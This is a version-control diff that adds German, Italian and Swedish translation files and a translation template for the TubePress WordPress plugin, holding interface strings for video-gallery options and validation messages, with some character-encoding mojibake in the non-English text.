+msgstr "Hochgeladen am"
+
+msgid "randomly"
+msgstr "Zuf&auml;llig"
+
+msgid "today"
+msgstr "Heute"
+
+msgid "this week"
+msgstr "Dieser Woche"
+
+msgid "this month"
+msgstr "Diesem Monat"
+
+msgid "all time"
+msgstr "Allzeit"
+
+msgid "next"
+msgstr "N&auml;chstes"
+
+msgid "prev"
+msgstr "Vorheriges"
+
+msgid "Displays YouTube videos in your sidebar using TubePress"
+msgstr "Zeigt YouTube Videos mittels TubePress in der Sidebar an"
+
+msgid "TubePress shortcode for the widget. See the <a href=\"http://tubepress.org/documentation\"> documentation</a>."
+msgstr "TubePress Kurzcode f&uuml;r das Widget. Siehe <a href=\"http://tubepress.org/documentation\"> Dokumentation</a>."
+
+#
+# VALIDATION
+#
+msgid "%s can only take on integer values. You supplied %s."
+msgstr "%s muss ein Ganzzahlenwert sein. Sie haben %s eingegeben."
+
+msgid "%s must be between %d and %d. You supplied %d."
+msgstr "%s muss zwischen %d und %d liegen. Sie haben %s eingegeben."
+
+msgid "%s must be one of \"today\", \"this_week\", \"this_month\", \"all_time\". You supplied %s."
+msgstr "%s muss einer der folgenden Werte sein: \"today\", \"this_week\", \"this_month\", \"all_time\". Sie haben %s eingegeben."
+
+msgid "%s must be on of \"relevance\", \"viewCount\", \"rating\", \"updated\", \"random\". You supplied %s."
+msgstr "%s muss einer der folgenden Werte sein: \"relevance\", \"viewCount\", \"rating\", \"updated\", \"random\". Sie haben %s eingegeben."
+
+msgid "%s must be a string. You supplied %s."
+msgstr "%s muss eine Zeichenkette sein. Sie haben %s eingegeben."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-it_IT.po	(revision 44)
@@ -0,0 +1,368 @@
+# Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+#
+# This file is part of TubePress (http://tubepress.org)
+#
+# TubePress is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# TubePress is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+msgid ""
+msgstr ""
+"Project-Id-Version: TubePress in italiano\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: \n"
+"Last-Translator: Gianni Diurno (aka gidibao) <gidibao@gmail.com>\n"
+"Language-Team: Gianni Diurno | http://gidibao.net/ <gidibao@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+
+msgid "TubePress Options"
+msgstr "Opzioni TubePress"
+
+msgid "Save"
+msgstr "Salva"
+
+msgid "Set default options for the plugin. Each option here can be overridden on a per page/post basis. See the <a href=\"http://tubepress.org/documentation\">documentation</a> for more info."
+msgstr "Qui puoi impostare le opzioni predefinite per il plugin. Tutte le modifiche apportate alle opzioni verranno applicate alla pagina/articolo di base. Consulta la <a href=\"http://tubepress.org/documentation\">documentazione</a> per ulteriori informazioni."
+
+msgid "TubePress is free. But if you enjoy the plugin, and appreciate the hundreds of hours I've spent developing and supporting it, please consider a donation. No amount is too small. Thanks!"
+msgstr "TubePress Ãš gratuito. Qualora gradissi il plugin ed apprezzassi le centinaia di ore di lavoro che ho dedicato allo sviluppo ed al supporto di questo plugin, ti invito cordialmente ad effettuare una donazione. Nesuna cifra sarÃ  considerata piccola. Grazie!"
+
+msgid "Which videos?"
+msgstr "Quali video?"
+
+msgid "Top rated videos from..."
+msgstr "i video piÃ¹ popolari di..."
+
+msgid "This YouTube user's \"favorites\""
+msgstr "i \"favoriti\" di questo utente di YouTube"
+
+msgid "The latest \"featured\" videos on YouTube's homepage"
+msgstr "i video in  \"primo piano\" nella home di YouTube"
+
+msgid "Videos for mobile phones"
+msgstr "i video per cellulari"
+
+msgid "This playlist"
+msgstr "da questa playlist"
+
+msgid "Limited to 200 videos per playlist. Will usually look something like this: D2B04665B213AE35. Copy the playlist id from the end of the URL in your browser's address bar (while looking at a YouTube playlist). It comes right after the 'p='. For instance: http://youtube.com/my_playlists?p=D2B04665B213AE35"
+msgstr "Limite di 200 video per ogni playlist. Assomiglia ad una sequenza tipo questa: D2B04665B213AE35. Copia la id della playlist che trovi posizionata in coda all'URL nella barra degli indirizzi del tuo browser (durante la visualizzazione di una playlist su YouTube). La troverai giusto dopo 'p='. Ad esempio: http://youtube.com/my_playlists?p=D2B04665B213AE35"
+
+msgid "Most-viewed videos from"
+msgstr "i video piÃ¹ visti di"
+
+msgid "Most-linked videos"
+msgstr "i video piÃ¹ linkati"
+
+msgid "Most-recently added videos"
+msgstr "i video piÃ¹ recenti"
+
+msgid "Most-discussed videos"
+msgstr "i video piÃ¹ commentati"
+
+msgid "Most-responded to videos"
+msgstr "i video con piÃ¹ risposte"
+
+msgid "Views"
+msgstr "Visualizzazioni"
+
+msgid "YouTube search for..."
+msgstr "Cerca con YouTube..."
+
+msgid "Videos from this YouTube user"
+msgstr "i video provenienti da questo utente di YouTube"
+
+msgid "YouTube limits this mode to 1,000 results"
+msgstr "YouTube limita questa modalitÃ  a 1.000 risultati"
+
+msgid "Display Options"
+msgstr "Opzioni visualizzazzione"
+
+msgid "Play each video"
+msgstr "Riproduci ogni video"
+
+msgid "Maximum description length"
+msgstr "Lunghezza massima per la descrizione"
+
+msgid "Maximum number of characters to display in video descriptions. Set to 0 for no limit."
+msgstr "Numero massimo di caratteri da mostrare nella descrizione del video. Imposta a 0 per non fissare alcun limite."
+
+msgid "Height (px) of thumbs"
+msgstr "Altezza (px) delle miniature"
+
+msgid "Default (and maximum) is 90"
+msgstr "Predefinito (e massimo) a 90"
+
+msgid "Width (px) of thumbs"
+msgstr "Larghezza (px) delle miniature"
+
+msgid "Default (and maximum) is 120"
+msgstr "Predefinito (e massimo) a 120"
+
+msgid "Use relative dates"
+msgstr "Usa data relativa"
+
+msgid "e.g. \"yesterday\" instead of \"November 3, 1980\""
+msgstr "ad es. \"ieri\" al posto di \"12 Gennaio 2009\""
+
+msgid "Videos per Page"
+msgstr "Video per pagina"
+
+msgid "Default is 20. Maximum is 50"
+msgstr "Predefinito a 20. Massimo a 50"
+
+msgid "Order videos by"
+msgstr "Disponi i video"
+
+msgid "Embedded Player"
+msgstr "Lettore incorporato"
+
+msgid "Auto-play videos"
+msgstr "Avvio automatico"
+
+msgid "Show border"
+msgstr "Mostra bordo"
+
+msgid "Allow fullscreen playback"
+msgstr "Permetti la riproduzione a chermo intero"
+
+msgid "Max height (px)"
+msgstr "dimensioni (px)"
+
+msgid "Default is 355"
+msgstr "Predefinita a 355"
+
+msgid "Default is 425"
+msgstr "Predefinita a 425"
+
+msgid "Enhanced genie menu"
+msgstr "Enhanced genie menu"
+
+msgid "Show the genie menu, if present, when the mouse enters the video area (as opposed to only when the user pushes the \"menu\" button"
+msgstr "Mostra se presente il genie menu quando il mouse entra nell'area del video (come alternativa per l'utente di premere il tasto del \"menu\")"
+
+msgid "Loop"
+msgstr "Loop"
+
+msgid "Continue playing the video until the user stops it"
+msgstr "Riproduzione continua del video sino ad interruzione da parte del'utente"
+
+msgid "Show title and rating before video starts"
+msgstr "Mostra titolo e votazione prima dell'avvio del video"
+
+msgid "Main color"
+msgstr "Main colore"
+
+msgid "Highlight color"
+msgstr "Colore evidenziatore"
+
+msgid "Show related videos"
+msgstr "Mostra video correlati"
+
+msgid "Toggles the display of related videos after a video finishes"
+msgstr "Commuta alla presentazione dei video correlati una volta terminato il video"
+
+msgid "Video quality"
+msgstr "QualitÃ  video"
+
+msgid "Normal"
+msgstr "Normale"
+
+msgid "High"
+msgstr "Alta"
+
+msgid "Higher"
+msgstr "Superiore"
+
+msgid "Highest"
+msgstr "Ottima"
+
+msgid "Meta Display"
+msgstr "Mostra meta-dati"
+
+msgid "Author"
+msgstr "Autore"
+
+msgid "Category"
+msgstr "Categoria"
+
+msgid "Description"
+msgstr "Descrizione"
+
+msgid "ID"
+msgstr "ID"
+
+msgid "Length"
+msgstr "Lunghezza"
+
+msgid "Rating"
+msgstr "Valutazione"
+
+msgid "Ratings"
+msgstr "Valutazioni"
+
+msgid "Tags"
+msgstr "Tags"
+
+msgid "Title"
+msgstr "Titolo"
+
+msgid "Posted"
+msgstr "Pubblicato"
+
+msgid "URL"
+msgstr "URL"
+
+msgid "Advanced"
+msgstr "Funzioni varie avanzate"
+
+msgid "Date format"
+msgstr "Formato data"
+
+msgid "Set the textual formatting of date information for videos. See <a href=\"http://us.php.net/date\">date</a> for examples."
+msgstr "Imposta la formattazione del testo per le informazioni sulla data del video. Vai <a href=\"http://us.php.net/date\">qui</a> per maggiori informazioni."
+
+msgid "Enable debugging"
+msgstr "Attiva debugging"
+
+msgid "If checked, anyone will be able to view your debugging information. This is a rather small privacy risk. If you're not having problems with TubePress, or you're worried about revealing any details of your TubePress pages, feel free to disable the feature."
+msgstr "Se attivato, chiunque potrÃ  vedere le tue informazioni di debugging. Questo comporta un piccolo rischio alla tua privacy. Qualora tu non avessi riscontrato alcun problema con TubePress oppure non desiderassi mostrae nessun dettaglio circa le tue pagine di TubePress, disattiva tranquillamente questa funzione."
+
+msgid "Filter \"racy\" content"
+msgstr "Filtro contenuti \"per adulti\""
+
+msgid "Don't show videos that may not be suitable for minors."
+msgstr "Non verranno mostrati i video non adatti per un pubblico di minori."
+
+msgid "Shortcode keyword"
+msgstr "Shortcode keyword"
+
+msgid "The word you insert (in plaintext, between square brackets) into your posts/pages to display a gallery."
+msgstr "La parola che inserirai (come testo racchiuso tra le parentesi quadre) nei tuoi articoli/pagine per poter mostrare una galleria."
+
+msgid "Randomize thumbnails"
+msgstr "Casualizza le miniature"
+
+msgid "Most videos come with several thumbnails. By selecting this option, each time someone views your gallery they will see the same videos with each video's thumbnail randomized"
+msgstr "La maggior parte dei video viene proposta con diverse miniature. Selezionando questa opzione, ogni volta che qualcuno accederÃ  alla tua galleria potrÃ  vedere i video presenti associati alle loro varie miniature mostrate casualmente "
+
+msgid "YouTube API Client ID"
+msgstr "YouTube API Client ID"
+
+msgid "YouTube will use this client ID for logging and debugging purposes if you experience a service problem on their end. You can register a new client ID <a href=\"http://code.google.com/apis/youtube/dashboard/\">here</a>. Don't change this unless you know what you're doing."
+msgstr "YouTube utilizzerÃ  questa client ID principalmente per la analisi delle segnalazioni di errore riscontrate e per il debugging. Puoi registrare una client ID <a href=\"http://code.google.com/apis/youtube/dashboard/\">qui</a>. Non modificare la presente se non fossi sicuro di cosa stessi facendo."
+
+msgid "YouTube API Developer Key"
+msgstr "YouTube API Developer Key"
+
+msgid "YouTube will use this developer key for logging and debugging purposes if you experience a service problem on their end. You can register a new client ID and developer key <a href=\"http://code.google.com/apis/youtube/dashboard/\">here</a>. Don't change this unless you know what you're doing."
+msgstr "YouTube utilizzerÃ  questa developer key principalmente per la analisi delle segnalazioni di errore riscontrate e per il debugging. Puoi registrare una nuova client ID ed una developer key <a href=\"http://code.google.com/apis/youtube/dashboard/\">qui</a>. Non modificare la presente se non fossi sicuro di cosa stessi facendo."
+
+msgid "Enable request cache"
+msgstr "Attiva cache"
+
+msgid "Only retrieve embeddable videos"
+msgstr "Recupera i soli video incorporabili"
+
+msgid "Some videos have embedding disabled. Checking this option will exclude these videos from your galleries."
+msgstr "Alcuni video non permettono di essere incorporati. Metti il segno di spunta a questa opzione per escludere questi video dalle tue gallerie."
+
+msgid "Store YouTube responses locally for 1 hour. Each response is on the order of a few hundred KB, so leaving the cache enabled will significantly reduce load times for your galleries at the slight expense of freshness."
+msgstr "Conserva per 1 ora le richieste per YouTube. Ogni richiesta comporta l'utilizzo di alcune centinai di KB quindi, lasciando attiva la cache verrÃ  ridotto significamente il tempo di caricamento delle tue gallerie."
+
+msgid "Add rel=nofollow to most YouTube links"
+msgstr "Aggiungi rel=nofollow ai link YouTube"
+
+msgid "Prevents search engines from indexing outbound links to youtube.com. The only exception is the link to a video's original page on YouTube."
+msgstr "Previene l'indicizzazione dei link in uscita verso YouTube da parte dei motori di ricerca. L'unica eccezione sarÃ  il link alla pagina originale del video su YouTube."
+
+msgid "normally (at the top of your gallery)"
+msgstr "normalmente (in cima alla galleria gallery)"
+
+msgid "in a popup window"
+msgstr "in una finestra popup"
+
+msgid "from the original YouTube page"
+msgstr "nella pagina originale di YouTube"
+
+msgid "with Shadowbox"
+msgstr "with Shadowbox"
+
+msgid "relevance"
+msgstr "per rilevanza"
+
+msgid "view count"
+msgstr "piÃ¹ visti"
+
+msgid "rating"
+msgstr "piÃ¹ votati"
+
+msgid "date updated"
+msgstr "recenti"
+
+msgid "randomly"
+msgstr "casualmente"
+
+msgid "today"
+msgstr "oggi"
+
+msgid "this week"
+msgstr "questa settimana"
+
+msgid "this month"
+msgstr "questo mese"
+
+msgid "all time"
+msgstr "di sempre"
+
+msgid "next"
+msgstr "successivo"
+
+msgid "prev"
+msgstr "precedente"
+
+msgid "Displays YouTube videos in your sidebar using TubePress"
+msgstr "Mostra con TubePress i video di YouTube nella barra laterale"
+
+msgid "TubePress shortcode for the widget. See the <a href=\"http://tubepress.org/documentation\"> documentation</a>."
+msgstr "Shortcode di TubePress per il widget. Consulta la <a href=\"http://tubepress.org/documentation\"> documentazione</a>."
+
+msgid "none"
+msgstr "nessuno"
+
+msgid "moderate"
+msgstr "modera"
+
+msgid "strict"
+msgstr "Rispetto rigoroso della norma"
+
+#
+# VALIDATION
+#
+msgid "%s can only take on integer values. You supplied %s."
+msgstr "%s puÃ² solo accettare i numeri interi. Tu hai inserito %s."
+
+msgid "%s must be between %d and %d. You supplied %d."
+msgstr "%s deve essere tra %d e %d. Tu hai inserito %d."
+
+msgid "%s must be one of \"today\", \"this_week\", \"this_month\", \"all_time\". You supplied %s."
+msgstr "%s deve essere uno tra \"today\", \"this_week\", \"this_month\", \"all_time\". Tu hai inserito %s."
+
+msgid "%s must be on of \"relevance\", \"viewCount\", \"rating\", \"updated\", \"random\". You supplied %s."
+msgstr "%s deve essere uno tra \"relevance\", \"viewCount\", \"rating\", \"updated\", \"random\". Tu hai inserito %s."
+
+msgid "%s must be a string. You supplied %s."
+msgstr "%s deve essere una stringa. Tu hai inserito %s."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-sv_SE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-sv_SE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-sv_SE.po	(revision 44)
@@ -0,0 +1,275 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: TubePress 1.6.5\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: \n"
+"Last-Translator: Mikael Jorhult <mikael@mishkin.se>\n"
+"Language-Team: mishkin.se <mikael@mishkin.se>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1\n"
+"X-Poedit-Language: Swedish\n"
+"X-Poedit-Country: Sweden\n"
+
+msgid "TubePress Options"
+msgstr "TubePress InstÃ€llningar"
+
+msgid "Save"
+msgstr "Spara"
+
+msgid "Set default options for the plugin. Each option here can be overridden on a per page/post basis. See the <a href=\"http://code.google.com/p/tubepress/wiki/Documentation\">documentation</a> for more info."
+msgstr "GrundinstÃ€llningar fÃ¶r tillÃ€gget gÃ¶rs hÃ€r. Dessa instÃ€llningar kan Ã¥sidosÃ€ttas pÃ¥ varje inlÃ€gg eller sida. LÃ€s mer i <a href=\"http://code.google.com/p/tubepress/wiki/Documentation\">dokumentationen</a>."
+
+msgid "Which videos?"
+msgstr "Vilka videos?"
+
+msgid "Top rated videos from..."
+msgstr "HÃ¶gst betygsatta frÃ¥n..."
+
+msgid "This YouTube user's \"favorites\""
+msgstr "Denna YouTube-anvÃ€ndares \"favoriter\""
+
+msgid "The latest \"featured\" videos on YouTube's homepage"
+msgstr "Senaste videos under \"featured\" pÃ¥ YouTubes hemsida"
+
+msgid "Videos for mobile phones"
+msgstr "Videos fÃ¶r mobila enheter"
+
+msgid "This playlist"
+msgstr "Denna spellista"
+
+msgid "Limited to 200 videos per playlist. Will usually look something like this: D2B04665B213AE35. Copy the playlist id from the end of the URL in your browser's address bar (while looking at a YouTube playlist). It comes right after the 'p='. For instance: http://youtube.com/my_playlists?p=D2B04665B213AE35"
+msgstr "BegrÃ€nsad till 200 videos per spellista. Denna ser vanligtvis ut ungefÃ€r: D2B04665B213AE35. Kopiera spellistans ID frÃ¥n slutet av dess webbadress (syns nÃ€r du blÃ€ddrar i spellistan). Syns direkt efter 'p=', till exempel http://youtube.com/my_playlists?p=D2B04665B213AE35"
+
+msgid "Most-viewed videos from"
+msgstr "MesVideos med flest spelningar frÃ¥n"
+
+msgid "Most-linked videos"
+msgstr "Videos med flest lÃ€nkningar"
+
+msgid "Most-recently added videos"
+msgstr "Senast tillagda videos"
+
+msgid "Most-discussed videos"
+msgstr "Videos med flest inlÃ€gg"
+
+msgid "Most-responded to videos"
+msgstr "Videos med flest svar"
+
+msgid "Views"
+msgstr "Spelningar"
+
+msgid "YouTube search for..."
+msgstr "SÃ¶kning pÃ¥ YouTube efter..."
+
+msgid "Videos from this YouTube user"
+msgstr "Videos frÃ¥n denna YouTube-anvÃ€ndare"
+
+msgid "YouTube limits this mode to 1,000 results"
+msgstr "YouTube begrÃ€nsar detta till 1000 resultat"
+
+msgid "Display Options"
+msgstr "Visningsalternativ"
+
+msgid "Play each video"
+msgstr "Spela varje video"
+
+msgid "Maximum description length"
+msgstr "Maximal lÃ€ngd pÃ¥ beskrivning"
+
+msgid "Maximum number of characters to display in video descriptions. Set to 0 for no limit."
+msgstr "Det maximala antalet tecken som visas i en videobeskrivning. SÃ€tt detta till 0 fÃ¶r att inte begrÃ€nsa."
+
+msgid "Height (px) of thumbs"
+msgstr "HÃ¶jd (px) pÃ¥ tumnagel"
+
+msgid "Default (and maximum) is 90"
+msgstr "Standard (och maximum) Ã€r 90"
+
+msgid "Width (px) of thumbs"
+msgstr "Bredd (px) pÃ¥ tumnagel"
+
+msgid "Default (and maximum) is 120"
+msgstr "Standard (och maximum) Ã€r 120"
+
+msgid "Videos per Page"
+msgstr "Videos per sida"
+
+msgid "Default is 20. Maximum is 50"
+msgstr "Standard Ã€r 20. Maximalt 50"
+
+msgid "Order videos by"
+msgstr "Sortera videos efter"
+
+msgid "Embedded Player"
+msgstr "InbÃ€ddad spelare"
+
+msgid "Auto-play videos"
+msgstr "BÃ¶rja spela automatiskt"
+
+msgid "Show border"
+msgstr "Visa kantlinje"
+
+msgid "Max height (px)"
+msgstr "Maximal hÃ¶jd (px)"
+
+msgid "Default is 355"
+msgstr "Standard Ã€r 355"
+
+msgid "Default is 425"
+msgstr "Standard Ã€r 425"
+
+msgid "Enhanced genie menu"
+msgstr "Enhanced Genie Menu"
+
+msgid "Show the genie menu, if present, when the mouse enters the video area (as opposed to only when the user pushes the \"menu\" button"
+msgstr "AnvÃ€nder om mÃ¶jligt s.k. Genie Menu, som visas sÃ¥ fort muspekaren fÃ¶rs Ã¶ver videon (istÃ€llet fÃ¶r bara nÃ€r anvÃ€ndaren trycker pÃ¥ \"meny\"-knappen"
+
+msgid "Loop"
+msgstr "Loop"
+
+msgid "Continue playing the video until the user stops it"
+msgstr "FortsÃ€tt spela videon tills anvÃ€ndare stoppar den"
+
+msgid "Main color"
+msgstr "FÃ€rg"
+
+msgid "Show related videos"
+msgstr "Visa relaterade videos"
+
+msgid "Toggles the display of related videos after a video finishes"
+msgstr "Anger om relaterade videos ska visas efter att videon slutat spela"
+
+msgid "Meta Display"
+msgstr "Metavisning"
+
+msgid "Author"
+msgstr "FÃ¶rfattare"
+
+msgid "Category"
+msgstr "Kategori"
+
+msgid "Description"
+msgstr "Beskrivning"
+
+msgid "ID"
+msgstr "ID"
+
+msgid "Length"
+msgstr "LÃ€ngd"
+
+msgid "Rating"
+msgstr "Betyg"
+
+msgid "Ratings"
+msgstr "Betyg"
+
+msgid "Tags"
+msgstr "Taggar"
+
+msgid "Title"
+msgstr "Titel"
+
+msgid "Posted"
+msgstr "Inlagd"
+
+msgid "URL"
+msgstr "Adress"
+
+msgid "Advanced"
+msgstr "Avancerad"
+
+msgid "Date format"
+msgstr "Datumformat"
+
+msgid "Set the textual formatting of date information for videos. See <a href=\"http://us.php.net/date\">date</a> for examples."
+msgstr "BestÃ€mmer hur datum formateras fÃ¶r videos. Se <a href=\"http://us.php.net/date\">date</a> fÃ¶r exempel."
+
+msgid "Enable debugging"
+msgstr "Aktivera debugging"
+
+msgid "If checked, anyone will be able to view your debugging information. This is a rather small privacy risk. If you're not having problems with TubePress, or you're worried about revealing any details of your TubePress pages, feel free to disable the feature."
+msgstr "Om vald kan alla se information om debugging. Detta Ã€r en liten sÃ€kerhetsrisk. Om du inte har nÃ¥gra problem med TubePress eller om du inte har nÃ¥gonting emot att visa nÃ¥gra detaljer om dina TubePress-sidor kan du avaktivera denna funktion."
+
+msgid "Filter \"racy\" content"
+msgstr "Filtrera innehÃ¥ll"
+
+msgid "Don't show videos that may not be suitable for minors."
+msgstr "Visa videos som kan vara olÃ€mpliga fÃ¶r barn."
+
+msgid "Shortcode keyword"
+msgstr "Nyckelord"
+
+msgid "The word you insert (in plaintext, between square brackets) into your posts/pages to display a gallery."
+msgstr "Ordet som du anvÃ€nder (i vanlig text eller inom klammer) dÃ€r du vill visa ett galleri pÃ¥ dina sidor och inlÃ€gg."
+
+msgid "Randomize thumbnails"
+msgstr "SlumpmÃ€ssiga tumnaglar"
+
+msgid "Most videos come with several thumbnails. By selecting this option, each time someone views your gallery they will see the same videos with each video's thumbnail randomized"
+msgstr "De flesta videos har flera tumnaglar. Genom att vÃ€lja detta vÃ€ljs tumnaglarna fÃ¶r dina videos slumpmÃ€ssigt dÃ¥ ett galleri visas"
+
+msgid "normally (at the top of your gallery)"
+msgstr "standard (ovanfÃ¶r galleriet)"
+
+msgid "in a popup window"
+msgstr "i ett pop-up-fÃ¶nster"
+
+msgid "from the original YouTube page"
+msgstr "pÃ¥ den ursprungliga YouTube-sidan"
+
+msgid "with Shadowbox"
+msgstr "med Shadowbox"
+
+msgid "relevance"
+msgstr "relevans"
+
+msgid "view count"
+msgstr "antal spelningar"
+
+msgid "rating"
+msgstr "betyg"
+
+msgid "date updated"
+msgstr "senast uppdaterad"
+
+msgid "today"
+msgstr "idag"
+
+msgid "this week"
+msgstr "denna vecka"
+
+msgid "this month"
+msgstr "denna mÃ¥nad"
+
+msgid "all time"
+msgstr "alltid"
+
+msgid "next"
+msgstr "nÃ€sta"
+
+msgid "prev"
+msgstr "fÃ¶regÃ¥ende"
+
+msgid "Displays YouTube videos in your sidebar using TubePress"
+msgstr "Visa YouTube-videos i din sidospalt med TubePress."
+
+#
+# VALIDATION
+#
+msgid "%s can only take on integer values. You supplied %s."
+msgstr "%s kan bara ta emot heltal. Du skickade %s."
+
+msgid "%s must be between %d and %d. You supplied %d."
+msgstr "%s mÃ¥ste vara mellan %d och %d. Du skickade %d."
+
+msgid "%s must be one of \"today\", \"this_week\", \"this_month\", \"all_time\". You supplied %s."
+msgstr "%s mÃ¥ste vara \"today\", \"this_week\", \"this_month\" eller \"all_time\". Du skickade %s."
+
+msgid "%s must be on of \"relevance\", \"viewCount\", \"rating\", \"updated\". You supplied %s."
+msgstr "%s mÃ¥ste vara \"relevance\", \"viewCount\", \"rating\" eller \"updated\". Du skickade %s."
+
+msgid "%s must be a string. You supplied %s."
+msgstr "%s mÃ¥ste vara en textstrÃ€ng. Du skickade %s."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress.pot	(revision 44)
@@ -0,0 +1,390 @@
+# Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+# 
+# This file is part of TubePress (http://tubepress.org)
+#
+# TubePress is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# TubePress is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+
+msgid ""
+msgstr ""
+"Project-Id-Version: TubePress 1.6.5\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: \n"
+"Last-Translator: Eric Hough <k2eric@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+msgid "TubePress Options"
+msgstr ""
+
+msgid "Save"
+msgstr ""
+
+msgid "Set default options for the plugin. Each option here can be overridden on a per page/post basis. See the <a href=\"http://tubepress.org/documentation\">documentation</a> for more info."
+msgstr ""
+
+msgid "TubePress is free. But if you enjoy the plugin, and appreciate the hundreds of hours I've spent developing and supporting it, please consider a donation. No amount is too small. Thanks!"
+msgstr ""
+
+msgid "Which videos?"
+msgstr ""
+
+msgid "Top rated videos from..."
+msgstr ""
+
+msgid "This YouTube user's \"favorites\""
+msgstr ""
+
+msgid "The latest \"featured\" videos on YouTube's homepage"
+msgstr ""
+
+msgid "Videos for mobile phones"
+msgstr ""
+
+msgid "This playlist"
+msgstr ""
+
+msgid "Limited to 200 videos per playlist. Will usually look something like this: D2B04665B213AE35. Copy the playlist id from the end of the URL in your browser's address bar (while looking at a YouTube playlist). It comes right after the 'p='. For instance: http://youtube.com/my_playlists?p=D2B04665B213AE35"
+msgstr ""
+
+msgid "Most-viewed videos from"
+msgstr ""
+
+msgid "Most-linked videos"
+msgstr ""
+
+msgid "Most-recently added videos"
+msgstr ""
+
+msgid "Most-discussed videos"
+msgstr ""
+
+msgid "Most-responded to videos"
+msgstr ""
+
+msgid "Views"
+msgstr ""
+
+msgid "YouTube search for..."
+msgstr ""
+
+msgid "Videos from this YouTube user"
+msgstr ""
+
+msgid "YouTube limits this mode to 1,000 results"
+msgstr ""
+
+msgid "Display Options"
+msgstr ""
+
+msgid "Play each video"
+msgstr ""
+
+msgid "Maximum description length"
+msgstr ""
+
+msgid "Maximum number of characters to display in video descriptions. Set to 0 for no limit."
+msgstr ""
+
+msgid "Height (px) of thumbs"
+msgstr ""
+
+msgid "Default (and maximum) is 90"
+msgstr ""
+
+msgid "Width (px) of thumbs"
+msgstr ""
+
+msgid "Default (and maximum) is 120"
+msgstr ""
+
+msgid "Use relative dates"
+msgstr ""
+
+msgid "e.g. \"yesterday\" instead of \"November 3, 1980\""
+msgstr ""
+
+msgid "Videos per Page"
+msgstr ""
+
+msgid "Default is 20. Maximum is 50"
+msgstr ""
+
+msgid "Show pagination above thumbnails"
+msgstr ""
+
+msgid "Show pagination below thumbnails"
+msgstr ""
+
+msgid "Only applies to galleries that span multiple pages"
+msgstr ""
+
+msgid "Order videos by"
+msgstr ""
+
+msgid "Embedded Player"
+msgstr ""
+
+msgid "Auto-play videos"
+msgstr ""
+
+msgid "Show border"
+msgstr ""
+
+msgid "Allow fullscreen playback"
+msgstr ""
+
+msgid "Max height (px)"
+msgstr ""
+
+msgid "Default is 355"
+msgstr ""
+
+msgid "Default is 425"
+msgstr ""
+
+msgid "Enhanced genie menu"
+msgstr ""
+
+msgid "Show the genie menu, if present, when the mouse enters the video area (as opposed to only when the user pushes the \"menu\" button"
+msgstr ""
+
+msgid "Loop"
+msgstr ""
+
+msgid "Continue playing the video until the user stops it"
+msgstr ""
+
+msgid "Show title and rating before video starts"
+msgstr ""
+
+msgid "Main color"
+msgstr ""
+
+msgid "Highlight color"
+msgstr ""
+
+msgid "Show related videos"
+msgstr ""
+
+msgid "Toggles the display of related videos after a video finishes"
+msgstr ""
+
+msgid "Video quality"
+msgstr ""
+
+msgid "Normal"
+msgstr ""
+
+msgid "High"
+msgstr ""
+
+msgid "Higher"
+msgstr ""
+
+msgid "Highest"
+msgstr ""
+
+msgid "Meta Display"
+msgstr ""
+
+msgid "Author"
+msgstr ""
+
+msgid "Category"
+msgstr ""
+
+msgid "Description"
+msgstr ""
+
+msgid "ID"
+msgstr ""
+
+msgid "Length"
+msgstr ""
+
+msgid "Rating"
+msgstr ""
+
+msgid "Ratings"
+msgstr ""
+
+msgid "Tags"
+msgstr ""
+
+msgid "Title"
+msgstr ""
+
+msgid "Posted"
+msgstr ""
+
+msgid "URL"
+msgstr ""
+
+msgid "Advanced"
+msgstr ""
+
+msgid "Date format"
+msgstr ""
+
+msgid "Set the textual formatting of date information for videos. See <a href=\"http://us.php.net/date\">date</a> for examples."
+msgstr ""
+
+msgid "Enable debugging"
+msgstr ""
+
+msgid "If checked, anyone will be able to view your debugging information. This is a rather small privacy risk. If you're not having problems with TubePress, or you're worried about revealing any details of your TubePress pages, feel free to disable the feature."
+msgstr ""
+
+msgid "Filter \"racy\" content"
+msgstr ""
+
